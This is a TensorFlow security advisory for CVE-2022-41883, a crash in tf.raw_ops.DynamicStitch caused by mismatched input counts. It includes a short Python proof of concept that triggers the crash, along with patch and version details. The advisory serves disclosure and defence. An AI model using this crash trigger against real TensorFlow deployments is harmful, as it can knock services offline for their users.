CVE-2022-41883

### Impact [`tf.raw_ops.DynamicStitch`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/dynamic_stitch_op.cc) specifies input sizes when it is [registered](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/data_flow_ops.cc). ```cpp REGISTER_OP("DynamicStitch") .Input("indices: N * int32") .Input("data: N * T") .Output("merged: T") .Attr("N : int >= 1") .Attr("T : type") .SetShapeFn(DynamicStitchShapeFunction); ``` When it receives a differing number of inputs, such as when it is called with an `indices` size 1 and a `data` size 2, it will crash. ```python import tensorflow as tf # indices = 1*[tf.random.uniform([1,2], dtype=tf.dtypes.int32, maxval=100)] indices = [tf.constant([[0, 1]]),] # data = 2*[tf.random.uniform([1,2], dtype=tf.dtypes.float32, maxval=100)] data = [tf.constant([[5, 6]]), tf.constant([[7, 8]])] tf.raw_ops.DynamicStitch( indices=indices, data=data) ``` ### Patches We have patched the issue in GitHub commit [f5381e0e10b5a61344109c1b7c174c68110f7629](https://github.com/tensorflow/tensorflow/commit/f5381e0e10b5a61344109c1b7c174c68110f7629). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1 as this is also affected. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Zizhuang Deng of IIE, UCAS